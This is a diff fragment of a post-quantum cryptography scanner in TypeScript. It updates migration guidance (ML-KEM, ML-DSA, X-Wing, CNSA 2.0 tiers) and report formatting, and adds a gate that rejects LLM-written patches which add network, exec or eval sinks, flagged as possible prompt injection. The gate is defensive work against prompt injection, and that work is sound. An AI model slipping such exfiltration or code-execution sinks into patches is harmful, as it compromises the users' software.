return (s.match(re) ?? []).length;
|
|
76
|
+
}
|
|
77
|
+
|
|
78
|
+
/** Changed lines (removed + added) between two revisions, ignoring the shared
|
|
79
|
+
* prefix/suffix — same shape the CLI's unified-diff uses. */
|
|
80
|
+
function changedLineCount(before: string, after: string): number {
|
|
81
|
+
const a = before.split("\n");
|
|
82
|
+
const b = after.split("\n");
|
|
83
|
+
let start = 0;
|
|
84
|
+
while (start < a.length && start < b.length && a[start] === b[start]) start++;
|
|
85
|
+
let endA = a.length - 1;
|
|
86
|
+
let endB = b.length - 1;
|
|
87
|
+
while (endA >= start && endB >= start && a[endA] === b[endB]) {
|
|
88
|
+
endA--;
|
|
89
|
+
endB--;
|
|
90
|
+
}
|
|
91
|
+
return Math.max(0, endA - start + 1) + Math.max(0, endB - start + 1);
|
|
92
|
+
}
|
|
93
|
+
|
|
94
|
+
/** Reason an LLM patch is unsafe to auto-verify, or null when it is bounded. */
|
|
95
|
+
function llmPatchRisk(before: string, patch: Patch): string | null {
|
|
96
|
+
// Reject any exfil/RCE sink on a line the patch ADDS. More robust than a bare
|
|
97
|
+
// count: it catches a sink SWAPPED into a file that already had one, and does
|
|
98
|
+
// not depend on the total count rising (trimmed line-set membership).
|
|
99
|
+
const beforeLines = new Set(before.split("\n").map((l) => l.trim()));
|
|
100
|
+
const addsSink = patch.newContent
|
|
101
|
+
.split("\n")
|
|
102
|
+
.some((l) => !beforeLines.has(l.trim()) && NEW_SINK_LINE_RE.test(l));
|
|
103
|
+
if (addsSink) {
|
|
104
|
+
return "LLM patch adds a network/exec/eval sink on a new line (possible prompt-injection); rejected — review the diff manually";
|
|
105
|
+
}
|
|
106
|
+
// Backstop: the total sink count must not rise either.
|
|
107
|
+
if (countMatches(NEW_SINK_RE, patch.newContent) > countMatches(NEW_SINK_RE, before)) {
|
|
108
|
+
return "LLM patch introduces a new network/exec/eval sink (possible prompt-injection); rejected — review the diff manually";
|
|
109
|
+
}
|
|
110
|
+
const changed = changedLineCount(before, patch.newContent);
|
|
111
|
+
if (changed > LLM_PATCH_MAX_CHANGED_LINES) {
|
|
112
|
+
return `LLM patch changes ${changed} lines (> ${LLM_PATCH_MAX_CHANGED_LINES}); too broad to auto-verify — review the diff manually`;
|
|
113
|
+
}
|
|
114
|
+
return null;
|
|
115
|
+
}
|
|
116
|
+
|
|
48
117
|
/**
|
|
49
118
|
* Run each finding through patchSource → policy → verify, collecting the patches
|
|
50
119
|
* that survive both gates and the reasons the rest were dropped.
|
|
@@ -68,6 +137,15 @@ export async function remediateFindings(
|
|
|
68
137
|
rejected.push({ finding, reason: decision.reason ?? "rejected by patch policy" });
|
|
69
138
|
continue;
|
|
70
139
|
}
|
|
140
|
+
// Untrusted full-file LLM rewrites get a blast-radius gate the crypto-only
|
|
141
|
+
// verify step can't provide (new-sink + change-size bound).
|
|
142
|
+
if (patch.source === "llm") {
|
|
143
|
+
const risk = llmPatchRisk(content, patch);
|
|
144
|
+
if (risk) {
|
|
145
|
+
rejected.push({ finding, reason: risk });
|
|
146
|
+
continue;
|
|
147
|
+
}
|
|
148
|
+
}
|
|
71
149
|
const before = verifyFix(content, { filename: finding.location.file }).findings;
|
|
72
150
|
const after = verifyFix(patch.newContent, { filename: patch.path }).findings;
|
|
73
151
|
if (!passesVerify(before, after, finding)) {
|
package/src/remediation.ts
CHANGED
|
@@ -1,8 +1,9 @@
|
|
|
1
1
|
/**
|
|
2
2
|
* Post-quantum remediation guidance for each classical asymmetric algorithm
|
|
3
|
-
* family. The recommendations follow NIST's
|
|
4
|
-
* (
|
|
5
|
-
*
|
|
3
|
+
* family. The recommendations follow NIST's finalized PQC algorithms — ML-KEM
|
|
4
|
+
* (FIPS 203), ML-DSA (FIPS 204), SLH-DSA (FIPS 205) — and the IETF hybrid
|
|
5
|
+
* key-exchange groups (X25519MLKEM768, SecP384r1MLKEM1024). Forward-looking
|
|
6
|
+
* standards to track are captured in {@link PQC_TRANSITION_NOTE}.
|
|
6
7
|
*/
|
|
7
8
|
import type { AlgorithmFamily, Remediation } from "./types.js";
|
|
8
9
|
|
|
@@ -63,19 +64,21 @@ const REMEDIATIONS: Record<AlgorithmFamily, Remediation> = {
|
|
|
63
64
|
},
|
|
64
65
|
X448: {
|
|
65
66
|
algorithm: "X448",
|
|
66
|
-
recommendation: "hybrid
|
|
67
|
+
recommendation: "hybrid SecP384r1MLKEM1024 (or X25519MLKEM768)",
|
|
67
68
|
detail:
|
|
68
69
|
"X448 (Goldilocks curve) is a modern classical key-agreement primitive at a " +
|
|
69
70
|
"higher classical security level, but it is still broken by Shor's algorithm. " +
|
|
70
|
-
"
|
|
71
|
+
"To preserve that assurance level, prefer the SecP384r1MLKEM1024 hybrid " +
|
|
72
|
+
"(ML-KEM-1024); X25519MLKEM768 is acceptable at the commercial tier.",
|
|
71
73
|
},
|
|
72
74
|
ECIES: {
|
|
73
75
|
algorithm: "ECIES",
|
|
74
|
-
recommendation: "ML-KEM-768 hybrid encryption",
|
|
76
|
+
recommendation: "ML-KEM-768 hybrid encryption (X-Wing for HPKE)",
|
|
75
77
|
detail:
|
|
76
78
|
"ECIES relies on classical ECDH for its key encapsulation and is exposed to " +
|
|
77
|
-
"harvest-now-decrypt-later. Replace the KEM step with ML-KEM-768 (FIPS 203)
|
|
78
|
-
"
|
|
79
|
+
"harvest-now-decrypt-later. Replace the KEM step with ML-KEM-768 (FIPS 203) in " +
|
|
80
|
+
"a hybrid construction — for HPKE-style application-layer encryption, X-Wing " +
|
|
81
|
+
"(X25519 + ML-KEM-768) is the emerging hybrid KEM target.",
|
|
79
82
|
},
|
|
80
83
|
unknown: {
|
|
81
84
|
algorithm: "unknown",
|
|
@@ -199,6 +202,18 @@ export const STATEFUL_HBS_NOTE =
|
|
|
199
202
|
"Use only with rigorous state management; otherwise prefer stateless ML-DSA " +
|
|
200
203
|
"(FIPS 204) or SLH-DSA (FIPS 205).";
|
|
201
204
|
|
|
205
|
+
/**
|
|
206
|
+
* Forward-looking PQC standards worth tracking beyond the current FIPS 203/204/205
|
|
207
|
+
* targets. Surfaced for operators planning multi-year migrations.
|
|
208
|
+
*/
|
|
209
|
+
export const PQC_TRANSITION_NOTE =
|
|
210
|
+
"Migration urgency: NIST IR 8547 deprecates classical public-key crypto after " +
|
|
211
|
+
"2030 and disallows it after 2035 — long-lived (harvest-now-decrypt-later) data " +
|
|
212
|
+
"must move sooner. Standards to track: HQC (NIST's code-based backup KEM, " +
|
|
213
|
+
"selected March 2025; draft FIPS expected ~2026) as a diversity hedge against " +
|
|
214
|
+
"ML-KEM; FN-DSA / Falcon (draft FIPS 206) for compact lattice signatures; and " +
|
|
215
|
+
"X-Wing (X25519 + ML-KEM-768) for HPKE-style hybrid encryption.";
|
|
216
|
+
|
|
202
217
|
/** True when stateful HBS (SP 800-208) is a reasonable alternative for a family. */
|
|
203
218
|
export function statefulHbsApplies(algorithm: AlgorithmFamily): boolean {
|
|
204
219
|
// Signature families only — LMS/XMSS are signatures, not KEMs.
|
package/src/report.ts
CHANGED
|
@@ -3,10 +3,13 @@
|
|
|
3
3
|
* or a human-readable text summary. No third-party dependencies — ANSI colour
|
|
4
4
|
* is emitted with raw escape codes and is off by default.
|
|
5
5
|
*/
|
|
6
|
-
import type { Finding, RuleMeta, ScanResult, Severity } from "./types.js";
|
|
6
|
+
import type { AlgorithmFamily, Finding, RuleMeta, ScanResult, Severity } from "./types.js";
|
|
7
7
|
import { VERSION } from "./version.js";
|
|
8
8
|
import { SEVERITY_ORDER, sarifLevel } from "./severity.js";
|
|
9
9
|
import { ANALYZABLE_LANGUAGES_LABEL } from "./detect-utils.js";
|
|
10
|
+
import { remediationFor, remediationForTier } from "./remediation.js";
|
|
11
|
+
import type { SecurityTier } from "./remediation.js";
|
|
12
|
+
import { fingerprintFinding } from "./baseline.js";
|
|
10
13
|
|
|
11
14
|
/** Minimal SARIF 2.1.0 log shape (kept permissive on purpose). */
|
|
12
15
|
export interface SarifLog {
|
|
@@ -160,6 +163,12 @@ export function toSarif(result: ScanResult, opts?: ReportOptions): SarifLog {
|
|
|
160
163
|
ruleIndex: ruleIndex.get(f.ruleId),
|
|
161
164
|
level: sarifLevel(f.severity),
|
|
162
165
|
message: { text: f.message },
|
|
166
|
+
// Line-INSENSITIVE fingerprint (the same one the baseline uses:
|
|
167
|
+
// sha256 of ruleId|file|normalizedSnippet). GitHub code scanning keys
|
|
168
|
+
// alert identity + dedup off partialFingerprints, so a finding survives
|
|
169
|
+
// line shifts and reformatting instead of re-alerting as "new" on every
|
|
170
|
+
// edit above it. `quantakrypto/v1` names our scheme.
|
|
171
|
+
partialFingerprints: { "quantakrypto/v1": fingerprintFinding(f) },
|
|
163
172
|
properties: {
|
|
164
173
|
category: f.category,
|
|
165
174
|
severity: f.severity,
|
|
@@ -327,7 +336,10 @@ function scoreColor(score: number): string {
|
|
|
327
336
|
* Render a human-readable summary of a scan result. Colour is off by default;
|
|
328
337
|
* pass `{ color: true }` to emit ANSI escape codes.
|
|
329
338
|
*/
|
|
330
|
-
export function formatSummary(
|
|
339
|
+
export function formatSummary(
|
|
340
|
+
result: ScanResult,
|
|
341
|
+
options?: { color?: boolean; tier?: SecurityTier },
|
|
342
|
+
): string {
|
|
331
343
|
const color = options?.color ?? false;
|
|
332
344
|
const c = (code: string, text: string): string => (color ? `${code}${text}${ANSI.reset}` : text);
|
|
333
345
|
|
|
@@ -427,5 +439,39 @@ export function formatSummary(result: ScanResult, options?: { color?: boolean })
|
|
|
427
439
|
);
|
|
428
440
|
}
|
|
429
441
|
|
|
442
|
+
if (options?.tier) {
|
|
443
|
+
lines.push("", ...formatTierGuidance(inv.byAlgorithm, options.tier));
|
|
444
|
+
}
|
|
445
|
+
|
|
430
446
|
return lines.join("\n");
|
|
431
447
|
}
|
|
448
|
+
|
|
449
|
+
/**
|
|
450
|
+
* Per-family migration targets for a CNSA security tier — surfaces the otherwise
|
|
451
|
+
* library-only {@link remediationForTier} in human reports. Category 5 shows the
|
|
452
|
+
* ML-KEM-1024 / ML-DSA-87 sets CNSA 2.0 mandates for national-security systems and
|
|
453
|
+
* long-lived secrets. Returns plain (un-coloured) lines; the caller styles them.
|
|
454
|
+
*/
|
|
455
|
+
export function formatTierGuidance(
|
|
456
|
+
byAlgorithm: Record<string, number>,
|
|
457
|
+
tier: SecurityTier,
|
|
458
|
+
): string[] {
|
|
459
|
+
const label = tier === "category-5" ? "CNSA 2.0 (Category 5)" : "Category 3 (commercial)";
|
|
460
|
+
const out: string[] = [`${label} migration targets:`];
|
|
461
|
+
const seen = new Set<string>();
|
|
462
|
+
for (const [k, n] of Object.entries(byAlgorithm)) {
|
|
463
|
+
if (n <= 0) continue;
|
|
464
|
+
const fam = k as AlgorithmFamily;
|
|
465
|
+
if (fam === "unknown" || !remediationFor(fam)) continue; // skip unmapped families
|
|
466
|
+
const rem = remediationForTier(fam, tier);
|
|
467
|
+
if (seen.has(rem.recommendation)) continue;
|
|
468
|
+
seen.add(rem.recommendation);
|
|
469
|
+
out.push(` ${fam} → ${rem.recommendation}`);
|
|
470
|
+
}
|
|
471
|
+
if (tier === "category-5") {
|
|
472
|
+
out.push(
|
|
473
|
+
" CNSA 2.0 mandates ML-KEM-1024 / ML-DSA-87 for national-security systems and long-lived secrets (2030/2033 milestones).",
|
|
474
|
+
);
|
|
475
|
+
}
|
|
476
|
+
return out;
|
|
477
|
+
}
|
package/src/scan.ts
CHANGED
|
@@ -15,7 +15,18 @@ import * as path from "node:path";
|
|
|
15
15
|
import type { Detector, Finding, ScanOptions, ScanResult } from "./types.js";
|
|
16
16
|
import { walkFiles, toPosix, isBinaryPath, looksMinified, matchesAny } from "./walk.js";
|
|
17
17
|
import { isAnalyzableSource } from "./detect-utils.js";
|
|
18
|
-
import {
|
|
18
|
+
import {
|
|
19
|
+
stripCommentFindings,
|
|
20
|
+
stripIgnoredFindings,
|
|
21
|
+
stripStringLiteralFindings,
|
|
22
|
+
} from "./comments.js";
|
|
23
|
+
|
|
24
|
+
/**
|
|
25
|
+
* Rules whose token is only meaningful as code, never inside a string literal.
|
|
26
|
+
* A match inside a string (e.g. `t.Error("SigningMethodPS256 …")`) is prose and
|
|
27
|
+
* is dropped. Rules that legitimately match quoted tokens are NOT listed here.
|
|
28
|
+
*/
|
|
29
|
+
const CODE_ONLY_RULES: ReadonlySet<string> = new Set(["go-jwt-signingmethod"]);
|
|
19
30
|
import { hashContent, loadCache, rulesetFingerprint, saveCache } from "./cache.js";
|
|
20
31
|
import type { CacheEntry } from "./cache.js";
|
|
21
32
|
import { builtinDetectors, defaultRegistry, detectorScope } from "./registry.js";
|
|
@@ -71,6 +82,7 @@ export function detectFile(
|
|
|
71
82
|
// `qscan-ignore-next-line` directives. Both run before the dependency scan
|
|
72
83
|
// appends its findings (manifests carry neither).
|
|
73
84
|
out = stripCommentFindings(out, content, file);
|
|
85
|
+
out = stripStringLiteralFindings(out, content, file, CODE_ONLY_RULES);
|
|
74
86
|
out = stripIgnoredFindings(out, content);
|
|
75
87
|
|
|
76
88
|
if (toggles.deps && isManifestFile(file)) {
|